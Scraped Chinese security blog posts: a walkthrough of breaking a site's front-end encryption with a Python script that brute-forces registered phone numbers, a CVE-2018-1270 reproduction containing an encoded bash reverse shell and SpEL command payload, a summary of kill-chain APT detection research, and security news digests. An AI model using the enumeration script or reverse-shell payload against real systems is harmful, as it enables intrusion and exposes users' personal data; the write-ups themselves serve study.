挖洞实战之信息泄露与前端加密
前言 本文并非密码向,不会对算法过程/代码逻辑进行具体阐述,因为这没有意义,实战的时候肯定是具体问题具体分析,所以了解个大致流程就行。  在挖洞过程中,很容易找到一些登录/忘记密码是手机验证码验证的站,有些站对发送验证码这一环节并未做太多的限制,理论上可以借助这个漏洞进行爆破,从而得出数据库内所有已注册手机号,这也算一种信息泄露。这种洞十分好挖,对技术要求不高,很适合SRC入门!  如果站点在请求的时候存在前端加密,大概都是常规的AES或RSA(比如以前的京东/B站)。所以写篇文章,整理下思路。  寻源  前几天挖洞的时候就看到个发送验证码的  先跑一百个请求,对发包没有做什么限制,说明有门!  但问题来了,请求体是这样的,明显进行了前端加密,要想爆破,还得先找出加密逻辑。  打开F12,发现控制台在输出东西,  再看资源文件,chunk文件加上index,那直接去找index.js文件即可。  然后就是要找到具体位置了,c0ny1表哥给出了一些好办法,详情见https://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/  可惜在这个站上不怎么好使,只能慢慢找了。  一般前端加密都是用JSEncrypt库的,所以可以试试搜一些jsencrypt相关的方法名,如setPublicKey、encrypt等  若压缩过的代码看得太累,可以试试用http://jsnice.org/美化下。  不要手撕js,会变得不幸。  首先打开F12,点开源代码,点个js文件,之后再点下左下角的美化按钮  代码就变得好看多了  尝试性的搜了下encrypt,位置大概就被我找到了。  这里有很多个函数,如encodeRSA、decodeRSA、getKeyRSADefault、encodeAES、decodeAES、getKeyAES、signature这种函数名,可以说是再明显不过的提示了。  分析  经过不眠不休的折磨,我逐渐理解了一切。  0.DEMO  先了解一下JSEncrypt库,十分简单 import JSEncrypt from 'jsencrypt' //加密 var encryptor = new JSEncrypt() var pubKey = '-----BEGIN PUBLIC KEY-----公钥-----END PUBLIC KEY-----' encryptor.setPublicKey(pubKey)//设置公钥 var rsaPassWord = encryptor.encrypt('要加密的内容') //解密 var decrypt = new JSEncrypt() var priKey  = '-----BEGIN RSA PRIVATE KEY-----私钥-----END RSA PRIVATE KEY----' decrypt.setPrivateKey(priKey)//设置秘钥 var uncrypted = decrypt.decrypt("要解密的内容")//解密之前拿公钥加密的内容  1.RSA  首先在疑似RSA加密的位置的结尾下个断点,  为什么要在结尾?大概思路是:不去关心这个函数的具体逻辑,因为太费劲;由结果推过程,直接看代码运行结束后那些参数以及返回值,以此结合所学知识/经验去推断这个函数的作用。  我们不是来做密码题的,我们只是来挖洞的。  然后会发现,右边有一大堆参数。  好,再看encodeRSA函数,已知n为0,该函数有用的部分就变成这样了  而s["JSEncrypt"]很明显,是JSEncrypt库的JSEncrypt对象,那将代码整理一下就是: function() {    o = new JSEncrypt();    o.setPublicKey(a);    return o.encrypt(t) }  看,其实就是普通的RSA加密!  而且RSA公钥也给了,就是参数a!  然后加密字符串参数t,其值为PHVDHENXNREOEVON。这个值是网页在加载的时候就执行getKeyAES函数得出的结果。  在F12的控制台中执行一下,能够输出相似的结果。  JSEncrypt的默认RSA加密机制是RSAES-PKCS1-V1_5,而且还会进行base64编码。  扔到CyberChef先放着,待会有用。  加密完了,该尝试解密了。解密需要私钥。一般前端加密,公钥都会直接放到JS里,如果需要解密,那私钥也可能放这。  随便看了下,公钥和私钥就在下面,比较了下这个公钥和之前断点跑出的公钥也对的上。  这样,就可以解密了。  2.AES  接下来就是AES,同样的,下个断点看结果。  能够发现,参数e是输入的值,参数t的值和之前那个值一模一样,同时也是需要加密的字符串。  而且AES相关参数也给出了:  初始向量:1234567812345678,CBC模式,zeropadding填充。  AES的话,CyberChef没有padding相关选项,运算结果末位有所不同,所以用另一个表哥写的工具:https://github.com/Leon406/ToolsFx  解码的话也是一样,毕竟是对称加密。  3.SHA-256 SHA-2,名称来自于安全散列算法2(Secure Hash Algorithm 2)的缩写,一种密码散列函数算法标准,属于SHA算法之一,是SHA-1的后继者。其下又可再分为六个不同的算法标准,包括了:SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256  这里就是最后的波纹了,也是最复杂的地方。  还是一样的思路,但由于输入的参数不好猜,于是我在同一行加了好多个断点去看参数变化,这是一个非常好滴技巧!如下图所示,每个蓝色三角形就是断点。  在这能发现,这段代码的意思就是将e组合起来,键值对加等号且再用逗号相连变成字符串n。  之后又将字符串n进行了相关处理,去掉逗号空格啊,加上括号啊,最后输出格式如下: {clientId=P_AIAS_ROS, encodeKey=GqdPQJptPlZctYZ+tEBo0MDTD7TntMDsrN3ATv5SC/WScxyhpYu/WoQsI0u42eDphmlhuHYWA6rPbWlcDYfyrHN8HWrrzHe+X7aiQh9Hnb1iR//I3abF4+Td641b1SeeYdU3aloc3ScaS8+CbVARKiM9g27R8CKk8Dbekb6lMEk=, requestData=Cy8UWBCz0dwJUBQ1u5BJr1jxicrnJ6YnrwchucXDanOVdV8Pp3rn1Uq35FB3pR7I, requestId=164740  好,接下来来验证一下  这是返回值89a6716fb3958c180837569a4a50a093a2bfa0ab6763a3b439a05b78e80d38f9  输出结果对的上,说明没错:  看着下图的请求体,最后总结一下。  1.在网页加载的时候先获取一个长度16的AES KEY,然后对这个AES KEY进行RSA+Base64加密,结果为encodeKey,  2.将{"phone":"13888888888","smsCode":""}这个格式的字符串,根据AES KEY进行AES+Base64加密,结果为requestData  3.clientId、requestId、timestamp不影响。这三个参数并未参与密码运算,可以任意更改。  4.将所有参数融合进行SHA256加密来签名。  爆破  分析完毕,那么接下来就可以开始爆破了。  接下来有两种做法:  1.写Python代码。因为思路以及理清且加密逻辑简单,可以直接手搓。  2.写JavaScript代码,配合c0ny1表哥的插件https://github.com/c0ny1/jsEncrypter。  在这里我选择1,具体代码如下: import hashlib import urllib3 import requests import base64 from Crypto.Cipher import AES urllib3.disable_warnings() # aes的key和初始向量 key = 'PHVDHENXNREOEVON' vi = '1234567812345678' url = "" headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"98\", \"Google Chrome\";v=\"98\"",           "Accept": "application/json, text/plain, */*", "Content-Type": "application/json;charset=UTF-8",           "Sec-Ch-Ua-Mobile": "?0",           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36",           "Token": "undefined", "Sec-Ch-Ua-Platform": "\"Windows\"",           "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty",           "Accept-Encoding": "gzip, deflate",           "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} def AES_Encrypt(data):    global key    global vi    pad = lambda s: s + (16 - len(s) % 16) * chr(0)    data = pad(data)    # 字符串补位    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))    encryptedbytes = cipher.encrypt(data.encode('utf8'))    # 加密后得到的是bytes类型的数据    encodestrs = base64.b64encode(encryptedbytes)    # 使用Base64进行编码,返回byte字符串    enctext = encodestrs.decode('utf8')    # 对byte字符串按utf-8进行解码    return enctext def AES_Decrypt(data):    global key    global vi    data = data.encode('utf8')    encodebytes = base64.decodebytes(data)    # 将加密数据转换位bytes类型数据    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))    text_decrypted = cipher.decrypt(encodebytes)    text_decrypted = text_decrypted.rstrip(b'\0')    # 去补位    text_decrypted = text_decrypted.decode('utf8')    return text_decrypted def sha256(text):    return hashlib.sha256(text.encode()).hexdigest() phone_list = [] with open('test-phone.txt', 'r', encoding='utf8') as f:    for i in f:        phone_list.append(i.strip()) for i in phone_list:    requestsData = AES_Encrypt('{"phone":"%s","smsCode":""}' % i)    encodeKey = "lFd5OEc6BEDbh/KA/JiYNOG1xoQY3GgwS8HAjWAVUt19zxXEzjvtice8EZapgHY0HqyEUaZT6lLFTXHfmJ0qXLyPLVzf01yQ0UMIWYQOHPyDygm4JXW/7OBO1dpb3uTjo0MF0YO0U3+LF+LfNHvbqByeXgj1vmswlrNSQMmRgmw="    sign_exp = '{clientId=1, encodeKey=%s, requestData=%s, requestId=1, secret=test, timestamp=1}' % (        encodeKey, requestsData)    sign = sha256(sign_exp)    json = {"clientId": "1",            "encodeKey": encodeKey,            "requestData": requestsData, "requestId": "1",            "sign": sign, "timestamp": "1"}    res = requests.post(url, headers=headers, json=json, verify=False)    try:        result = AES_Decrypt(res.text.strip())        if '该手机号未查询到用户' in result:            print("未注册" + i)        else:            print("查询到了:" + i)    except Exception as e:        print(e)        print(res.text)        exit()  代码中我保持encodeKey不变,这样意味着AES KEY不变,爆破代码就可以不用写RSA相关了。  因为返回的值长这样,也是一个AES加密,所以写了个AES_Decrypt函数用于解密返回包。  这种爆破手机号的洞我也尝试去投了两个到CNVD,一个归档一个驳回,打个信息泄露擦边球着实难以界定。
网络安全日报 2022年04月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、谷歌在 2022 年 4 月 Android 更新 44 个漏洞补丁 https://www.securityweek.com/44-vulnerabilities-patched-android-april-2022-security-updates2、Conti勒索团伙泄露了从工业巨头 Parker Hannifin 窃取的文件 https://www.securityweek.com/ransomware-gang-leaks-files-stolen-industrial-giant-parker-hannifin3、VMware发布更新修复多个产品中的Spring4Shell漏洞 https://securityaffairs.co/wordpress/129826/security/vmware-secure-spring4shell.html4、研究人员发现一种执行勒索和 DDoS 攻击的新 RAT-Borat RAT https://securityaffairs.co/wordpress/129805/malware/borat-rat-a-new-rat-that-performs-ransomware-and-ddos-attacks.html5、PEAR PHP 存储库中发现一个存在15年之久的漏洞,可导致供应链攻击 https://securityaffairs.co/wordpress/129797/hacking/pear-php-critical-flaws.html6、Beastmode Mirai 僵尸网络新增了对 Totolink 路由器的利用 https://securityaffairs.co/wordpress/129745/cyber-crime/beastmode-botnet-targets-totolink-routers.html7、Mailchimp遭黑客入侵被用于对数字钱包用户进行网络钓鱼攻击 https://securityaffairs.co/wordpress/129831/data-breach/mailchimp-breached-cryptocurrency-phishing.html8、Hive 勒索软件使用新的 IPfuscation 技术来隐藏其有效负载 https://cyware.com/news/ipfuscation-is-hives-new-technique-to-evade-detection-96c3c7489、PCI安全标准委员会发布支付卡行业数据安全标准4.0版 https://www.govinfosecurity.com/pci-ssc-releases-data-security-standard-version-40-a-1882810、西班牙能源巨头Iberdrola的100多万用户数据被泄露 https://www.infosecurity-magazine.com/news/scottish-power-parent-data-breach/
记一次曲折的CVE-2018-1270复现分析
前言  前两天接到朋友对某个授权目标的漏扫结果,也算是初次接触到这个漏洞,就想着顺手分析一下复现一下,因为分析这个漏洞的文章也比较少,所以刚开始比较迷,进度也比较慢。  漏洞复现  使用vulhub搭建环境,下载vulhub git clone https://github.com/vulhub/vulhub.git  spring目录下有docker镜像直接启起来 sudo docker-compose up -d  访问8080端口即可查看  环境搭建ok,其实这里使用构造的payload不知道为什么不可以,稍后尝试,先使用exp去执行,在环境中刚好有exp,我们只需要修改目标ip  修改执行的命令  执行EXP  进入docker容器查看是否成功生成数据 ocker exec -it 1f699e14e /bin/bash  验证EXP成功利用,这里尝试一下反弹shell,在另一台终端监听一个端口 nc -lvp 9999  修改EXP bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMTQuMjUxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}  得到容器的shell  由于在线编码的平台不能使用,所以需要自己做一下base64的编码然后再解码,但是这里为什么直接反弹的shell不能够执行呢?  是因为管道符、输入输出重定向,只有在bash环境下才能用。由于项目环境为Java环境不支持管道符、输入输出重定向等。重定向和管道符的使用方式在正在启动的进程的中没有意义。例如ls > 1.txt 在shell中执行为将当前目录的列表输出到命名为 1.txt 。但是在 exec() 函数的中,该命令为解释为获取 > 和 1.txt 目录的列表。  下载源码 wget https://github.com/spring-guides/gs-messaging-stomp-websocket.git  新建项目导入pom.xml文件搭建环境,配置配置文件  运行本地已搭建 http://127.0.0.1:8080/  本地搭建目的是方便调试。  修改代码位置 src->main->resources->static->app.js  修改connect方法 function connect() {   var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};   var socket = new SockJS('/gs-guide-websocket');   stompClient = Stomp.over(socket);   stompClient.connect({}, function (frame) {       setConnected(true);       console.log('Connected: ' + frame);       stompClient.subscribe('/topic/greetings', function (greeting) {           showGreeting(JSON.parse(greeting.body).content);       },header);   }); }  保存后重新运行,Websocket连接,send发送任意信息即可触发calc.exe  分析  本地windows的触发条件更能清楚的理解,exec中代码执行的条件是由于建立socket通信之后发送信息的时候触发的,这里通过下断点来调试  首先先了解几个概念,没有java框架开发经验的话确实很让人头疼,SpEL表达式,是Spring表达式的简写,能够以一种强大而简洁的方式将值装配到Bean属性和构造器参数中,在这个过程中所使用的表达式会在运行时计算得到值。简单理解就是利用简单的表达形式来实现操作。  SpEL支持如下表达式: 基本表达式:字面量表达式、关系,逻辑与算数运算表达式、字符串连接及截取表达式、三目运算及Elivis表达式、正则表达式、括号优先级表达式; 类相关表达式:类类型表达式、类实例化、instanceof表达式、变量定义及引用、赋值表达式、自定义函数、对象属性存取及安全导航表达式、对象方法调用、Bean引用; 集合相关表达式:内联List、内联数组、集合,字典访问、列表,字典,数组修改、集合投影、集合选择;不支持多维内联数组初始化;不支持内联字典定义; 其他表达式:模板表达式。  STOMP协议  STOMP是一个简单的可互操作的基于帧的协议, 作用于中间服务器在客户端之间进行异步消息传递,STOMP协议基于TCP协议,类似于HTTP协议,使用了以下命令: CONNECT SEND SUBSCRIBE UNSUBSCRIBE BEGIN COMMIT ABORT ACK NACK DISCONNECT Ctrl+N  根据披露的漏洞位置,直接搜索问题类DefaultSubscriptionRegistry  在Protected属性addSubscriptionInternal方法中,定义了selectorHeaderInUse的属性为true  95行的时候把四个参数,sessinId,subsId,destination(订阅地址("/topic/greetings")以及expression添加进subscriptionRegistry属性中。  app.js修改的代码位置为 var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};  private属性中的filterSubscriptions方法在什么时候会触发呢?下断点调试会发现,在send发送信息的时候会传入message参数,这个时候就会调用前端传入的selector构造的内容即SpEL表达式的内容,从第二种的复现方式来看就是这样的,但是在调试的时候正常的利用是首先触发  118行调用findSubscriptionsInternal函数 ctrl+N向上查找函数  在AbstractSubscriptionRegistry类中找到了在满足else的时候调用了findSubscriptionsInternal函数,可能在这里也许有师傅有点困惑,在这里我们需要明白的是参数destination(订阅地址)和参数message(含有SpEL表达式即payload)的内容。  但是这里有个疑问,那么哪里利用到了STOMP协议的内容呢?  上文提到了STOMP协议的命令,里面涉及到的SUBSCRIBE命令,在SUBSCRIBE命令下selector头值会作为表达式存储,在实现addSubscriptionInternal方法的方法生成sessionID的时候表达式已经实现了存储。  这个时候就很明显了,seesionid的生成就涉及到了websocket实现客户端和服务器之间的交互  到这里分析就结束了,但是函数调用以及漏洞触发的原因已经分析的比较清楚了。  小结  Java的东西忘记的差不多了,IDEA的快捷键都给忘了,突然分析起来很头大,可参考的内容也比较少,走的坑也比较多吧,有问题的地方欢迎师傅们指正。  参考文章 https://mp.weixin.qq.com/s/9ZHopkDK8aVzFPrSOEgOVghttps://mp.weixin.qq.com/s/K56p8PkyrxmsZ1holFbh2Qhttps://www.jianshu.com/p/ae3922db1f70
从kill-chain的角度检测APT攻击
前言  最近一直在考虑如何结合kill chain检测APT攻击。出发点是因为尽管APT是一种特殊、高级攻击手段,但是它还是会具有攻击的common feature,只要可以把握住共同特征,就能进行检测。而kill chain就是个非常好的common feature描述。  在预研期间看到了一些觉得比较好的工作,这里和各位师傅一起分享下。如题所述,这篇文章是介绍如何如kill-chain的角度检测APT攻击的一个方案,其特点解决了三个痛点:1.在于针对大数据量的问题引入Pearson相关检验来减少处理数据量;2,使用基于贝叶斯算法分类的优先级选择方法对训练数据进行选择,从而显著降低训练时间;3.利用层次分析法,对不同的警报进行分类,并确定各参数之间的相关性,最终提高所有攻击数据类的检测率。  kill-chain模型  kill-chain模型各位师傅应该都比较熟悉了,不过为了方便与后文的APT检测对应起来,我们这里还是简单梳理下。  kill-chain模型有7个阶段:(1) Reconnaissance, (2) Weaponization, (3) Deliver, (4) Exploitation, (5) Installation, (6) Command and Control (7) Actions on objectives  这7个连续的步骤为攻击者提供了行动TTP(tactic,technique和procedure)  事实上,kill-chain模型不仅可以给攻击者提供参考,也能给防御者提供指引,从预防、检测、分析每一步骤都有章可循。下面根据个人经验简单回顾一下。  Reconnaissance  第一阶段侦查的主要目标就是收集目标的信息,这一步说简单也简单,说难也难,相信做渗透的师傅们都深有体会。  Weaponization  第二阶段Weaponization,即武器化,其目标是创建一个可以交付攻击的恶意payload,这里的payload可以分为两种类型:  1.不需要与攻击者通信的payload,比如病毒、蠕虫等  2.需要与攻击者通信的payload,比如带有C&C功能的恶意软件  其实关于这一阶段的产物我们更熟悉的名词应该叫做RAT(remote access Trojan),即远控木马  RAT需要客户端和负责下发命令的服务器。客户端接收实际恶意payload,并被配置为能够与C2服务器通信,服务器位于网络上,由攻击者控制。  比如在Reconnaissance阶段,攻击者注意到电子邮件系统不允许发送和接收exe文件,但允许发送pdf文件。另一方面,攻击者注意到,教授经常通过电子邮件收到并打开学生的PDF文件。因此,攻击者可以创建一个能够与C2服务器通信的RAT文件,并将该RAT文件嵌入到一个伪装为个人简历(比如要读研的前来套磁的学生)的PDF文件中,然后将其以附件的形式发给教授。  Deliver  payload在上一阶段被开发完成后就需要通过各种途径投递出去,这里可以通过社会工程学的方法欺骗受害者进行交互,或者利用协议、软件的缺陷自动投递。在这一阶段最重要的就是确保投递时的隐蔽性,非交互就能投递的话自然是最好的,可这也是最难的,所以在网上流传很广的那个报价表上'Zero-interaction'的漏洞价格一骑绝尘。  Exploitation  在利用阶段,需要确保其拥有必要的权限以在目标平台上运行,比如投递的是elf文件,则肯定是不能在windows平台运行的;而且payload不能被检测出来,否则kill-chain的链条到这里就断了。  这一步容易和下一步混淆,这一步是利用,下一步才是安装。举个简单的例子,本来是没有权限安装某个app的,但是同个exploition这个阶段实现了提权、逃逸等操作,所以才能保证下一步installation的进行。  Installation  这一阶段并不是必须,比如那些可执行文件或者以代码注入实现的攻击。  如果涉及到这个阶段的话,攻击者就需要在deliver阶段将dropper或者downloader放置在目标计算机上。这一步的关键不在于漏洞利用,而是在于持久化,能够在受害者主机上存活下来。  Command and Control  这一阶段是不可或缺的,因为很多攻击活动的目的就是为了窃取信息,那么在本地拿到信息后自然需要通过C2回传,比如典型的Zeus等;此外对于僵尸网络还需要接收客户端的命令以执行恶意操作,比如发动ddos攻击,对于勒索软件需要被下派指令激活以加密本地关键文件  在这一步,根据通信特点也可以分为直接通信和间接通信两类:  在直接通信中,受害主机上的恶意软件包含攻击者控制的服务器ip和控制列表,但是如果这个特定的ip被阻断了,那么攻击者就失去了控制权;  在间接通信中,攻击者是利用合法的中间节点与受害者进行通信的,他可以利用白站进行中转,或者攻陷一些中间节点作为跳板,从而建立通信路径。  这一步其实非常灵活,攻击者可以通过不同的方式进行通信,比如使用邮件、使用http,dns等以及隐蔽信道。  但是这一阶段的活动一定会产生网络流量,因为很多检测工作都是在流量方面开展的。  Actions on objectives  这是kill-chain模型的最后阶段。攻击活动要么会自主进行或者通过C2信道接收到命令后开始执行。这一阶段的目标主要有三种:窃取信息、勒索软件、破坏系统。  回顾完了kill-chain,我们可以很直观地感受到,这个连续模型,阐述了攻击者是如何一步步实现攻击的,其基于的假设就是攻击者会以顺序、递进和高级的方式对受害者进行渗透,只要任一阶段被阻断,攻击就不会成功。  检测方案  检测方案非常直观,如下所示  在数据预处理阶段采用Pearson相关检验,利用贝叶斯算法优化训练输入信息。接下来贝叶斯算法根据检测阈值、预测阈值和灰色结果三个组成部分对数据进行分类。然后,将剩余的预处理数据作为实验组件,将其输出作为分析层次过程的输入参数,对攻击进行排序。此时会输出包括一个已知攻击优先级的分类。  参数的预处理与联系  检测APT攻击时需要计算几个参数,大部分研究中针对网络攻击的类型和严重程度,已经引入了各种参数来评估和检测网络攻击。但这里需要注意的是,检查许多参数的话可能会增加开销,并最终降低提出的入侵检测解决方案的效率。  所以在这里采用相关系数法减少检测APT攻击时使用的参数数量。  相关系数是确定两个定量变量之间关系类型和程度的统计工具。同时,它也是决定两个变量相关性的因素之一。它表明了关系的强度以及关系的类型。这个系数在−1到1之间。在两个变量之间没有关系的情况下,它等于0。  两个变量之间的相关性可以用各种不同的计算方法来测量。皮尔逊相关系数、斯皮尔曼相关系数和Tau Kendall相关系数是计算变量之间相关关系最常用的方法。在这里我们使用皮尔逊相关系数。一般来说,两个随机变量之间的皮尔逊相关系数等于它们的协方差除以它们的标准差的乘积。对于一个统计总体,相关系数可定义如下  对于有n个数据对的样本的相关系数可以表示如下  进一步推导为  其中  接下来需要评估相关强度,根据给定的应用,提出了各种分类,这些分类用于关联数据以及从大量数据中删除无用数据。  对应的评估可以参考下表  利用贝叶斯算法进行阈值训练和评估  贝叶斯决策理论是一种概率推理方法。假设给定的变量遵循一定的概率分布,这些概率和观察到的数据可以用来做决策。  朴素贝叶斯分类模型(NBC)是基于贝叶斯决策理论的一种基础模型。该分类方法执行简单,分类速度快,准确率高,是机器学习中应用最广泛的分类模型之一。朴素贝叶斯分类基本思想:假设样本属性之间相互独立,对于给定的待分类项,求解在此项出现的情况下其他各个类别出现的概率,哪个最大,就认为待分类项属于那一类别。  比如大家都知道的邮箱内垃圾邮件的筛选即应用朴素贝叶斯算法。我们这里就用它。  其实现主要分成三个阶段  第一阶段,准备工作。根据具体情况确定特征属性,并对每一特征属性进行划分,然后人工对一些待分类项进行分类,形成训练样本集合。这一阶段的输入是所有待分类数据,输出是特征属性和训练样本。唯一需要人工处理的阶段,质量要求较高。  第二阶段,分类器训练阶段(生成分类器)。计算每个类别在训练样本中出现频率及每个特征属性划分对每个类别的条件概率估计,并将结果记录。其输入是特征属性和训练样本,输出是分类器。  第三阶段,应用阶段。使用分类器对待分类项进行分类,其输入是分类器和待分类项,输出是待分类项与类别的映射关系。  理论上来说,朴素贝叶斯分类比其他分类算法的错误率最低。  但是,很难假设实际的网络行为是独立的。因为实际上每个计算机网络都有自己独特的特点,这些特点直接影响入侵检测方法的效果。因此,将一个加权特征分配给简单贝叶斯分类,在朴素贝叶斯分类中,对每个影响这些关系的属性赋予不同的权重时,不同的权值会产生不同的结果,这些权值对入侵检测方法有很大的影响。  在入侵检测系统中,朴素贝叶斯分类的重点实际是用于是确定不同特征权重。  通过公式计算得到的概率被用来确定阈值。通过对阈值进行评估,将结果表示为灰色阈值、预测阈值和检测阈值三种模式。预测模式表示当前入侵信息被检测到的过程。检测模式决定了入侵信息被完全识别和检测的过程。灰色模式表示当前信息无法检测到入侵。  模糊层次分析法  模糊层次分析法(FAHP)及计算过程层次分析法(AHP)是20世纪70年代美国运筹学T.L. Saaty教授提出的一种定性与定量相结合的系统分析方法。  该方法对于量化评价指标,选择最优方案提供了依据,并得到了广泛的应用。然而, AHP存在如下方面的缺陷:检验判断矩阵是否一致非常困难,且检验判断矩阵是否具有一致性的标准CR < 0. 1缺乏科学依据;判断矩阵的一致性与人类思维的一致性有显著差异。  在模糊层次分析中,作因素间的两两比较判断时,如果不用三角模糊数来定量化,而是采用一个因素比另一个因素的重要程度定量表示,则得到模糊判断矩阵。  其抽象结构如下所示  emmm,不好理解的话,我们里去哪里旅游的问题为例,可以把要考虑的因素都放上去进行计算,如下所示  用模糊层次分析法解决问题的一般步骤如下:  模糊层次分析法的基本思想是根据多目标评价问题的性质和总目标,把问题本身按层次进行分解,构成一个由下而上的梯阶层次结构。因此在运用FAHP决策时,大体上可以可分为以下四个步骤。   (1)分析问题,确定系统中各因素之间的因果关系,对决策问题的各种要素建立多级(多层次)递阶结构模型。   (2)对同一层次(等级)的要素以上一级的要素为准则进行两两比较,并根据评定尺度确定其相对重要程度,最后据此建立模糊判断矩阵。   (3)通过一定计算,确定各要素的相对重要度。   (4)通过综合重要度的计算,对所有的替代方案进行优先排序,从而为决策人选择最优方案提供科学的决策依据  在我们提出的方案中,模糊层次分析法是用于对不同的警报进行分类,并确定各参数之间的相关性,从而检测出APT攻击的。  该方法首先会对输入数据进行模糊化处理,数值模糊化可以采用各种隶属函数。隶属度A(x)表示模糊集合A中元素x的隶属度。如果一个元素的隶属度为0,则该元素完全不在该集合中;如果隶属度为1,则该元素完全在该集合中。当隶属度在0到1之间时,表示隶属度是渐进的。这里我们可以使用三角隶属函数对值进行模糊化处理。其公式如下  层次分析过程步骤如下:  •AHP建模过程-》创建两两比较决策矩阵-》计算每个选项的标准权重和得分,其最后一步涉及兼容性测试;其中涉及一致性指标(CI)和一致性比(CR)两个参数,当CR小于0.1时,结果才是可接受的,否则就要重新执行  检测效果  为了检测方案的可行性,这里使用了标准的公开数据集KDD CUP99进行评估  KDD CUP99是非常经典的数据集。该数据集是自1999年以来评估入侵检测系统最常见和标准的数据集,是基于DARPA 98项目记录的数据。该数据集包含由TCPDump软件从网络流量中收集的大约4 GB的原始二进制数据。它还包含大约500万条带有连接向量的记录,每条记录的大小为100字节和41个属性,以及一个包含正常模式或攻击模式的标签。由于该数据集的容量很大,大多数研究都使用了标准数据集中提供的10%的子集。这个数据集包括494,021条记录,包括23种攻击类和2个普通类。  在该数据集中,将数据记录分为拒绝服务(DoS)攻击、获取初始访问(R2L)攻击、提权(U2R)攻击和探测攻击(probing)四大类。在这里,根据kill-chain的特性以及这些攻击对kill-chain模型某些阶段的适应性,以这些攻击为例对APT攻击进行了分析。我们考虑了DoS、R2L、U2R攻击,以及信息收集(“Reconnaissance”)、入侵(“weaponization” 和“Delivery)、部署(““Exploitation” 和 “Installation””)和信息窃取(“Command and Control” 和 “Action on Objectives”)阶  因为使用了贝叶斯算法和模糊层次分析法相结合的方法,这里通过参数M负责控制这两种算法的收敛(M的值实际上表示Bayesian算法下一步将用于训练的数据点),为了确定M去哪个值更好,这里分别作了实验,效果如下  可以看到,M=4时效果是最好的  为了确定所提出的方案的效率更好,这里可以对T2数据集提取混淆矩阵,如下所示。a是基础方案,b是提出的方案.  在接下来的实验中,我们把这里提出的新的思路命名为APT-Dt-KC,然后与参考文献5中提出的DT-EnSVM方法进行对标,从结果可以看到,新的方案全面胜出。  从上表可以看出来,现在的方案混淆矩阵在分类阶段的效率比基础方案要更优。  然后分别比较两个方案在T1数据集和T2数据集上的结果,如下所示,第一个表示是在T1数据集上的结果,第二个表是在T2数据集上的结果  可以看到,现在的方案在检出率、假阳性率和假阴性率方面均要更占优势。而且由于消除了预警的冗余性,其训练时间也更短。  两个方案在两个数据集上的准确率如下  可以看到,现在的方案在准确率上是遥遥领先。  但是这还没有结束,对攻击进行分类处理后,需要确定攻击的级别和优先级。  由于现在的方法采用了AHP算法来考虑攻击的级别,因此可以对不同的攻击进行排序。因此,可以对所有攻击进行分类、排序,并根据最可能发生的情况进行评估。T1数据集在攻击检测阶段的实验结果如下所示。  可以看到其假阳性率和假阴性率均小于基础方法。  T1数据集中两个方案的平均检测率值如下所示  从表中可以看出,现在的方案在最终检测率上也是优于基础方法的。所以我们现在可以肯定地说,整个过程中我们提出的新方案有较好的检测效果。  参考  1.Panahnejad M, Mirabi M. APT-Dt-KC: advanced persistent threat detection based on kill-chain model[J]. The Journal of Supercomputing, 2022: 1-34.  2.https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html  3.https://towardsdatascience.com/support-vector-machine-introduction-to-machine-learning-algorithms-934a444fca47  4.Setiawan B, Djanali S, Ahmad T, et al. Assessing centroid-based classification models for intrusion detection system using composite indicators[J]. Procedia Computer Science, 2019, 161: 665-676.  5.Gu J, Wang L, Wang H, et al. A novel approach to intrusion detection using SVM ensemble with feature augmentation[J]. Computers & Security, 2019, 86: 53-62.
网络安全日报 2022年04月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Rockwell PLC 严重漏洞可以导致 Stuxnet 式攻击 https://www.securityweek.com/new-vulnerabilities-allow-stuxnet-style-attacks-against-rockwell-plcs 2、趋势科技修复了Apex Central 中的0day漏洞 https://www.securityweek.com/trend-micro-patches-apex-central-zero-day-exploited-targeted-attacks 3、Zyxel 修复了其业务防火墙和 VPN 设备中的一个严重漏洞 https://securityaffairs.co/wordpress/129689/security/zyxel-firewalls-authentication-bypass.html 4、AcidRain wiper针对欧洲路由器和调制解调器进行破坏 https://securityaffairs.co/wordpress/129703/malware/acidrain-wiper-ukraine.html 5、Lazarus Group 分发木马化 DeFi 钱包应用以窃取受害者的加密货币 https://thehackernews.com/2022/04/north-korean-hackers-distributing.html 6、GitLab 解决了严重的帐户劫持漏洞 https://portswigger.net/daily-swig/gitlab-addresses-critical-account-hijack-bug 7、网络钓鱼使用 Azure 静态网页冒充微软 https://www.bleepingcomputer.com/news/microsoft/phishing-uses-azure-static-web-pages-to-impersonate-microsoft/ 8、Rapid7修复了漏洞管理软件Nexpose中的SQL注入漏洞 https://portswigger.net/daily-swig/critical-sql-injection-flaw-fixed-in-rapid7s-nexpose-vulnerability-scanner 9、国家信息安全漏洞共享平台收录Spring框架远程命令执行漏洞 https://www.cnvd.org.cn/webinfo/show/7541 10、新的BlackGuard密码窃取恶意软件在黑客论坛上出售 https://www.bleepingcomputer.com/news/security/new-blackguard-password-stealing-malware-sold-on-hacker-forums/
网络安全日报 2022年04月01日
